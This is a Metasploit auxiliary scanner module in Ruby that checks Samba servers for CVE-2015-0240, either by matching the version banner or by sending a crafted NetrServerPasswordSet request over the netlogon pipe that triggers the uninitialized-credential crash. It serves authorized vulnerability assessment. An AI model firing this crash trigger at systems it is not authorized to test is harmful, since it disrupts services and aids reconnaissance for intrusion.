metasploit-framework/modules/auxiliary/scanner/smb/smb_uninit_cred.rb

270 lines
8.5 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/auxiliary/report'
class Metasploit3 < Msf::Auxiliary
# Exploit mixins should be called first
include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB::Client
include Msf::Exploit::Remote::SMB::Client::Authenticated
# Scanner mixin should be near last
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
# Aliases for common classes
SIMPLE = Rex::Proto::SMB::SimpleClient
XCEPT = Rex::Proto::SMB::Exceptions
CONST = Rex::Proto::SMB::Constants
RPC_NETLOGON_UUID = '12345678-1234-abcd-ef00-01234567cffb'
def initialize(info={})
super(update_info(info,
'Name' => 'Samba _netr_ServerPasswordSet Uninitialized Credential State',
'Description' => %q{
This module checks if a Samba target is vulnerable to an uninitialized variable creds vulnerability.
},
'Author' =>
[
'Richard van Eeden', # Original discovery
'sleepya', # Public PoC for the explicit check
'sinn3r'
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2015-0240'],
['OSVDB', '118637'],
['URL', 'https://securityblog.redhat.com/2015/02/23/samba-vulnerability-cve-2015-0240/'],
['URL', 'https://gist.github.com/worawit/33cc5534cb555a0b710b'],
['URL', 'https://www.nccgroup.com/en/blog/2015/03/samba-_netr_serverpasswordset-expoitability-analysis/']
],
'DefaultOptions' =>
{
'SMBDirect' => true,
'SMBPass' => '',
'SMBUser' => '',
'SMBDomain' => '',
'DCERPC::fake_bind_multi' => false
}
))
# This is a good example of passive vs explicit check
register_options([
OptBool.new('PASSIVE', [false, 'Try banner checking instead of triggering the bug', false])
])
# It's either 139 or 445. The user should not touch this.
deregister_options('RPORT', 'RHOST')
end
def rport
@smb_port || datastore['RPORT']
end
# This method is more explicit, but a major downside is it's very slow.
# So we leave the passive one as an option.
# Please also see #maybe_vulnerable?
def is_vulnerable?(ip)
begin
connect
smb_login
handle = dcerpc_handle(RPC_NETLOGON_UUID, '1.0','ncacn_np', ["\\netlogon"])
dcerpc_bind(handle)
rescue ::Rex::Proto::SMB::Exceptions::LoginError,
::Rex::Proto::SMB::Exceptions::ErrorCode => e
elog("#{e.message}\n#{e.backtrace * "\n"}")
return false
rescue Errno::ECONNRESET,
::Rex::Proto::SMB::Exceptions::InvalidType,
::Rex::Proto::SMB::Exceptions::ReadPacket,
::Rex::Proto::SMB::Exceptions::InvalidCommand,
::Rex::Proto::SMB::Exceptions::InvalidWordCount,
::Rex::Proto::SMB::Exceptions::NoReply => e
elog("#{e.message}\n#{e.backtrace * "\n"}")
return false
rescue ::Exception => e
elog("#{e.message}\n#{e.backtrace * "\n"}")
return false
end
# NetrServerPasswordSet request packet
stub =
[
0x00, # Server handle
0x01, # Max count
0x00, # Offset
0x01, # Actual count
0x00, # Account name
0x02, # Sec Chan Type
0x0e, # Max count
0x00, # Offset
0x0e # Actual count
].pack('VVVVvvVVV')
stub << Rex::Text::to_unicode(ip) # Computer name
stub << [0x00].pack('v') # Null byte terminator for the computer name
stub << '12345678' # Credential
stub << [0x0a].pack('V') # Timestamp
stub << "\x00" * 16 # Padding
begin
dcerpc.call(0x06, stub)
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
elog("#{e.message}\n#{e.backtrace * "\n"}")
rescue Errno::ECONNRESET,
::Rex::Proto::SMB::Exceptions::InvalidType,
::Rex::Proto::SMB::Exceptions::ReadPacket,
::Rex::Proto::SMB::Exceptions::InvalidCommand,
::Rex::Proto::SMB::Exceptions::InvalidWordCount,
::Rex::Proto::SMB::Exceptions::NoReply => e
elog("#{e.message}\n#{e.backtrace * "\n"}")
rescue ::Exception => e
if e.to_s =~ /execution expired/i
# So what happens here is that when you trigger the buggy code path, you hit this:
# Program received signal SIGSEGV, Segmentation fault.
# 0xb732ab3b in talloc_chunk_from_ptr (ptr=0xc) at ../lib/talloc/talloc.c:370
# 370 if (unlikely((tc->flags & (TALLOC_FLAG_FREE | ~0xF)) != TALLOC_MAGIC)) {
# In the Samba log, you'll see this as an "internal error" and there will be a "panic action".
# And then Samba will basically not talk back to you at that point. In that case,
# you will either lose the connection, or timeout, or whatever... depending on the SMB
# API you're using. In our case (Metasploit), it's "execution expired."
# Samba (daemon) will stay alive, so it's all good.
return true
else
raise e
end
end
false
ensure
disconnect
end
# Returns the Samba version
def get_samba_info
res = ''
begin
res = smb_fingerprint
rescue ::Rex::Proto::SMB::Exceptions::LoginError,
::Rex::Proto::SMB::Exceptions::ErrorCode
return res
rescue Errno::ECONNRESET,
::Rex::Proto::SMB::Exceptions::InvalidType,
::Rex::Proto::SMB::Exceptions::ReadPacket,
::Rex::Proto::SMB::Exceptions::InvalidCommand,
::Rex::Proto::SMB::Exceptions::InvalidWordCount,
::Rex::Proto::SMB::Exceptions::NoReply
return res
rescue ::Exception => e
if e.to_s =~ /execution expired/
return res
else
raise e
end
ensure
disconnect
end
res['native_lm'].to_s
end
# Converts a version string into an object so we can eval it
def version(v)
Gem::Version.new(v)
end
# Passive check for the uninitialized bug. The information is based on http://cve.mitre.org/
def maybe_vulnerable?(samba_version)
v = samba_version.scan(/Samba (\d+\.\d+\.\d+)/).flatten[0] || ''
return false if v.empty?
found_version = version(v)
if found_version >= version('3.5.0') && found_version <= version('3.5.9')
return true
elsif found_version >= version('3.6.0') && found_version < version('3.6.25')
return true
elsif found_version >= version('4.0.0') && found_version < version('4.0.25')
return true
elsif found_version >= version('4.1.0') && found_version < version('4.1.17')
return true
end
false
end
# Check command
def check_host(ip)
samba_info = ''
smb_ports = [445, 139]
smb_ports.each do |port|
@smb_port = port
samba_info = get_samba_info
vprint_status("Samba version: #{samba_info}")
if samba_info !~ /^samba/i
vprint_status("Target isn't Samba, no check will run.")
return Exploit::CheckCode::Safe
end
if datastore['PASSIVE']
if maybe_vulnerable?(samba_info)
flag_vuln_host(ip, samba_info)
return Exploit::CheckCode::Appears
end
else
# Explicit: Actually triggers the bug
if is_vulnerable?(ip)
flag_vuln_host(ip, samba_info)
return Exploit::CheckCode::Vulnerable
end
end
end
return Exploit::CheckCode::Detected if samba_info =~ /^samba/i
Exploit::CheckCode::Safe
end
# Reports to the database about a possible vulnerable host
def flag_vuln_host(ip, samba_version)
report_vuln(
:host => ip,
:port => rport,
:proto => 'tcp',
:name => self.name,
:info => samba_version,
:refs => self.references
)
end
def run_host(ip)
peer = "#{ip}:#{rport}"
case check_host(ip)
when Exploit::CheckCode::Vulnerable
print_good("#{peer} - The target is vulnerable to CVE-2015-0240.")
when Exploit::CheckCode::Appears
print_good("#{peer} - The target appears to be vulnerable to CVE-2015-0240.")
when Exploit::CheckCode::Detected
print_status("#{peer} - The target appears to be running Samba.")
else
print_status("#{peer} - The target appears to be safe")
end
end
end